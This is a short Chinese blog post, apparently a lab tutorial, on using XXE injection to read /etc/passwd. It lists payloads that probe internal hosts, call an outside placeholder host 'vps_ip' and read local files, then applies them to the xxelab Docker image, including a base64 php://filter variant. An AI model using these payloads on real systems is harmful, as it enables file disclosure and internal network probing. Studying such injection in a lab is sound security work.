利用xxe获取linux系统的passwd
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了利用xxe获取linux系统的passwd相关的知识,希望对你有一定的参考价值。
引用外部DTD文件访问内网主机/端口。
<!DOCTYPE a SYSTEM "http://127.0.0.1:2333"> (看响应时间)
引用外部DTD文件访问wai网。
<!DOCTYPE a SYSTEM "http://vps_ip" >
引用内部实体。
<!DOCTYPE a [<!ENTITY xxe "findneo">]><a>&xxe;</a>
外部实体读本地文件。
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/hosts">]><a>&xxe;</a>
外部实体访问内wang主机端口。
<!DOCTYPE a SYSTEM "http://192.168.1.2:80">(看响应时间)
外部实体访问wai网。
<!DOCTYPE a [<!ENTITY xxe SYSTEM "http://vps_ip">]><a>&xxe;</a>
docker中下载rrodrigo/xxelab该镜像
启动:docker run -d -p 8082:80 rrodrigo/xxelab
抓取注册包,发现采用xml格式传递,且邮箱有返回:
将返回内容处进行xxe回显设置读取/etc/passwd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE c [
<!ENTITY file SYSTEM "/etc/passwd">
]>
利用base64编码进行xxe,防止有返回包验证
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE c [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
返回base64数据包,base64解码
以上是关于利用xxe获取linux系统的passwd的主要内容,如果未能解决你的问题,请参考以下文章